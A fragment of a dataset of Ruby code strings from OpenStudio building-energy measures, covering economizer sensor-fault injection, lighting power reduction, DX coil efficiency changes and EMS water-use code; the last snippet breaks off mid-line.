\t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\trunner.registerInfo(\"To model dry bulb sensor drift, a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg F has been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_dry_bulb = fixed_dry_bulb + 1\n\t\t\t\n\t\tend # OA Controller Type = FixedDryBulb \t\t\n\t\t\n\t\t# test for presence of fixed enthalpy economizer controller setting \t\t\t\t\n\t\tif oa_controller_economizer_control_type == \"FixedEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\twworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_enthalpy = fixed_enthalpy + 1\n\t\tend # OA Controller Type = FixedEnthalpy \n\t\t\n\t\t# test for presence of differential enthalpy economizer controller setting \t\t\n\t\tif oa_controller_economizer_control_type == \"DifferentialEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tdifferential_enthalpy = differential_enthalpy + 1\n\t\t\t\n\t\tend # OA Controller Type =\"Differential Enthalpy\"\t\t\n\t\t\n\t\n\t\t# test for presence of electronic enthalpy economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"ElectronicEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model enthalpy sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\telectronic_enthalpy = electronic_enthalpy + 1\n\n\t\tend # OA Controller Type = \"ElectronicEnthalpy\" \t\t\n\t\t\n\t\t# test for presence of fixed dew point and dry bulb economizer controller setting \n\t\tif oa_controller_economizer_control_type == \"FixedDewPointAndDryBulb\" \n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model both enthalpy and dry bulb sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb and a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tfixed_dew_point_and_dry_bulb = fixed_dew_point_and_dry_bulb + 1\n\n\t\tend # OA Controller Type = \"FixedDewPointAndDryBulb\" \n\t\n\t\t# test for presence of differential dry bulb and enthalpy economizer controller setting \t\t\n\t\tif oa_controller_economizer_control_type == \"DifferentialDryBulbAndEnthalpy\"\n\t\t\t# Initialze array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t5; \t\t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\n\t\t\t# Create IDF object text for FaultModel:EnthalpySensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:EnthalpySensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Enthalpy Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-5; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\n\t\t\t# Initialize array to hold new IDF objects\n\t\t\tstring_object = []\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:OutdoorAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:OutdoorAir,\n\t\t\t\t#{oa_controller_name}_Outdoor Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\t\t\t\t\t\t\n\t\t\t# Create IDF object text for FaultModel:TemperatureSensorOffset:ReturnAir\n\t\t\tstring_object = \"\n\t\t\t\tFaultModel:TemperatureSensorOffset:ReturnAir,\n\t\t\t\t#{oa_controller_name}_Return Air Temp Sensor Bias, !- Name\n\t\t\t\tAlways On Discrete, \t\t\t\t\t\t\t!- Availability Schedule Name\n\t\t\t\t, \t\t\t\t\t\t\t\t\t\t\t\t!- Severity Schedule Name\n\t\t\t\tController:OutdoorAir, \t\t\t\t\t\t\t!- Controller Object Type\n\t\t\t\t#{oa_controller_name}, \t\t\t\t\t\t\t!- Controller Object Name\n\t\t\t\t-1.11; \t\t\t\t\t\t\t\t\t\t\t!- Temperature Sensor Offset \n\t\t\t\t\"\n\t\t\t# Add string object to workspace to create idf object\n\t\t\tidfObject = OpenStudio::IdfObject::load(string_object)\n\t\t\tobject = idfObject.get\n\t\t\tworkspace.addObject(object)\n\n\t\t\trunner.registerInfo(\"To model both enthalpy and dry bulb sensor drift, a FaultModel:EnthalpySensorOffset:ReturnAir object with an offset of -2 Btu/lb and a FaultModel:EnthalpySensorOffset:OutdoorAir object with an offset of +2 Btu/lb and a FaultModel:TemperatureSensorOffset:ReturnAir object with an offset of -2 deg F and a FaultModel:TemperatureSensorOffset:OutdoorAir object with an offset of +2 deg have been added to the #{oa_controller_economizer_control_type} controlled airside economizer associated with the Controller:Outdoor air object named #{oa_controller_name}. The fault availability is scheduled using the 'Always On Discrete' schedule.\")\n\t\t\tdifferential_dry_bulb_and_enthalpy = differential_dry_bulb_and_enthalpy + 1\n\t\tend # OA Controller Type \"DifferentialDryBulbAndEnthalpy\"\n\t\t\n\t\t\t\t\n\tend # end loop through oa controller objects\n\n\t# reporting when N/A condition is appropriate\n\tif fixed_dry_bulb +\tdifferential_dry_bulb + fixed_enthalpy + differential_enthalpy + fixed_dew_point_and_dry_bulb +\telectronic_enthalpy + differential_dry_bulb_and_enthalpy == 0\n\t\trunner.registerAsNotApplicable(\"Measure not applicable because the model contains no OutdoorAir:Controller objects with operable economizers.\")\n\tend \n\t\n\ttotal = fixed_dry_bulb + differential_dry_bulb + fixed_enthalpy + differential_enthalpy + fixed_dew_point_and_dry_bulb + electronic_enthalpy + differential_dry_bulb_and_enthalpy\n\t\n\t# reporting initial condition of model\n\trunner.registerInitialCondition(\"The measure started with #{total} Outdoor Air Controllers configured for operational airside economizers. #{no_economizer} Outdoor Air Controller had the Economizer Contrrol Type set to 'NoEconomizer'.\")\n\t# reporting final condition of model\n\trunner.registerFinalCondition(\"The measure finished by adding outdoor and return air temperature and enthalpy sensor faults to #{total} economizer configurations.\")\n \n return true\n \n end",
"def calculation\n end",
"def monitor; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n # initialize variables\n affected_space_types = []\n affected_flag = false\n power_tot = 0\n power_tot_new = 0\n control_factor = 0.05 #90.1-2010 Table 9.6.2\n\n # standards space types\n affected_space_types << \"BreakRoom\"\n affected_space_types << \"Conference\"\n affected_space_types << \"Office\"\n affected_space_types << \"Restroom\"\n affected_space_types << \"Stair\"\n\n # get model objects\n space_types = model.getSpaceTypes\n\n # DO STUFF\n #TODO account for zone multipliers?\n space_types.each do |st|\n\n std_spc_typ = st.standardsSpaceType.to_s\n area = st.floorArea\n people = st.getNumberOfPeople(area)\n power = st.getLightingPower(area, people)\n power_tot += power\n\n #calcualte LPD\n lpd_area = power / area\n lpd_people = power / people\n\n affected_space_types.each do |ast|\n\n if ast == std_spc_typ\n\n #calculate adjustment and new power\n power_adj = power * control_factor\n power_new = power - power_adj\n\n lpd_area_new = power_new / area\n lpd_people_new = power_new / people\n\n #set new power\n if st.lightingPowerPerFloorArea.is_initialized\n\n runner.registerInfo(\"Adjusting interior lighting power for space type: #{st.name}\")\n st.setLightingPowerPerFloorArea(lpd_area_new)\n\n lpd_area_ip = OpenStudio.convert(lpd_area,\"ft^2\",\"m^2\").get\n lpd_area_new_ip = OpenStudio.convert(lpd_area_new,\"ft^2\",\"m^2\").get\n lpd_area_change = (1 - (lpd_area_new / lpd_area)) * 100\n\n runner.registerInfo(\"=> Initial interior lighting power = #{lpd_area_ip.round(2)} W/ft2\")\n runner.registerInfo(\"=> Final interior lighting power = #{lpd_area_new_ip.round(2)} W/ft2\")\n runner.registerInfo(\"=> Interior lighting power reduction = #{lpd_area_change.round(0)}%\")\n\n elsif st.lightingPowerPerPerson.is_initialized\n\n runner.registerInfo(\"Adjusting interior lighting power for space type: #{st.name}\")\n st.setLightingPowerPerPerson(lpd_people_new)\n\n lpd_people_change = (1 - (lpd_people_new / lpd_people)) * 100\n\n runner.registerInfo(\"=> Initial interior lighting power = #{lpd_people} W/person\")\n runner.registerInfo(\"=> Final interior lighting power = #{lpd_people_new} W/person\")\n runner.registerInfo(\"=> Interior lighting power reduction = #{lpd_people_change.round(0)}%\")\n\n else\n\n runner.registerWarning(\"Lighting power is specified using Lighting Level (W) for affected space type: #{st.name}\")\n\n end #set new power\n\n affected_flag = true\n\n end\n\n end #affected space types\n\n # calculate new total lighting power\n power = st.getLightingPower(area, people)\n power_tot_new += power\n\n end #space types\n\n # report not applicable\n if affected_flag == false\n runner.registerAsNotApplicable(\"No affected space types found\")\n end\n\n # report initial condition\n runner.registerInitialCondition(\"Total interior lighting power = #{power_tot.round(0)} W\")\n\n # report final condition\n runner.registerFinalCondition(\"Total interior lighting power = #{power_tot_new.round(0)} W\")\n\n return true\n\n end",
"def measure key,value\n @context= {}\n @path = \"#{key}\" \n @context[:callcount] = 1\n @context[:firsttimestampoffset] = Time.now.to_f*1000 - value\n @context[:name] = @path\n @context[:responsetime] = value\n @context_list << @context\n end",
"def total_time=(_arg0); end",
"def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n require 'json'\n \n # Get the last openstudio model\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\n return false\n end\n model = model.get\n \n results = {}\n \n #get all DX coils in model\n dx_single = workspace.getObjectsByType(\"Coil:Cooling:DX:SingleSpeed\".to_IddObjectType)\n dx_two = workspace.getObjectsByType(\"Coil:Cooling:DX:TwoSpeed\".to_IddObjectType)\n \n dx_single.each do |dx|\n dx_name = {}\n coil_name = dx.getString(0).get\n runner.registerInfo(\"DX coil: #{coil_name} Initial COP: #{dx.getDouble(4).get}\")\n dx.setDouble(4,7.62)\n runner.registerInfo(\"DX coil: #{coil_name} Final COP: #{dx.getDouble(4).get}\")\n dx_name[:dxname] = \"#{coil_name}\"\n results[\"#{coil_name}\"] = dx_name\n end\n\n dx_two.each do |dx|\n dx_name = {}\n coil_name = dx.getString(0).get\n runner.registerInfo(\"DX coil: #{coil_name} Initial High COP: #{dx.getDouble(4).get}, Initial Low COP: #{dx.getDouble(16).get}\")\n dx.setDouble(4,7.62)\n dx.setDouble(16,7.62)\n runner.registerInfo(\"DX coil: #{coil_name} Final High COP: #{dx.getDouble(4).get}, Final Low COP: #{dx.getDouble(16).get}\")\n dx_name[:dxname] = \"#{coil_name}\"\n results[\"#{coil_name}\"] = dx_name\n end\n \n if results.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\n end\n \n #save airloop parsing results to ems_results.json\n runner.registerInfo(\"Saving ems_results.json\")\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\n \n if results.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\n #save blank ems_membrane_heat_pump_cooling_only.ems file so Eplus measure does not crash\n ems_string = \"\"\n runner.registerInfo(\"Saving blank ems_membrane_heat_pump_cooling_only file\")\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n return true\n end\n \n timeStep = model.getTimestep.numberOfTimestepsPerHour\n \n runner.registerInfo(\"Making EMS string for Membrane Heat Pump Cooling Only\")\n #start making the EMS code\n ems_string = \"\" #clear out the ems_string\n ems_string << \"\\n\" \n ems_string << \"Output:Variable,*,Cooling Coil Sensible Cooling Energy,timestep; !- HVAC Sum [J]\" + \"\\n\"\n ems_string << \"\\n\" \n \n results.each_with_index do |(key, value), i| \n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}SensibleClgJ,\" + \"\\n\"\n ems_string << \" #{value[:dxname]},\" + \"\\n\"\n ems_string << \" Cooling Coil Sensible Cooling Energy;\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"WaterUse:Equipment,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUse, !- Name\" + \"\\n\"\n ems_string << \" Membrane HP Cooling, !- End-Use Subcategory\" + \"\\n\"\n ems_string << \" 0.003155, !- Peak Flow Rate {m3/s} = 3000 gal/hr\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule; !- Flow Rate Fraction Schedule Name\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"Schedule:Constant,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule, !- Name\" + \"\\n\"\n ems_string << \" , !- Schedule Type Limits Name\" + \"\\n\"\n ems_string << \" 1; !- Hourly Value\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseCtrl,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule,\" + \"\\n\"\n ems_string << \" Schedule:Constant,\" + \"\\n\"\n ems_string << \" Schedule Value;\" + \"\\n\"\n ems_string << \"\\n\" \n end\n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgramControl, !- Name\" + \"\\n\"\n ems_string << \" AfterPredictorBeforeHVACManagers, !- EnergyPlus Model Calling Point\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgram; !- Program Name 1\" + \"\\n\"\n ems_string << \"\\n\"\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgram, !- Name\" + \"\\n\"\n ems_string << \" SET TimeStepsPerHr = #{timeStep}\" + \"\\n\"\n results.each_with_index do |(key, value), i|\n ems_string << \" SET MembraneHP#{i+1}SensibleClgTonHr = MembraneHP#{i+1}SensibleClgJ * 0.0000007898,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGal = MembraneHP#{i+1}SensibleClgTonHr * 3.0,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGalPerHr = MembraneHP#{i+1}SensibleWtrGal * TimeStepsPerHr,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}WaterUseCtrl = MembraneHP#{i+1}SensibleWtrGalPerHr / 3000.0,\" + \"\\n\"\n end \n ems_string << \" SET UnusedLine = 0;\" + \"\\n\"\n \n #save EMS snippet\n runner.registerInfo(\"Saving ems_membrane_heat_pump_cooling_only file\")\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n \n #unique initial 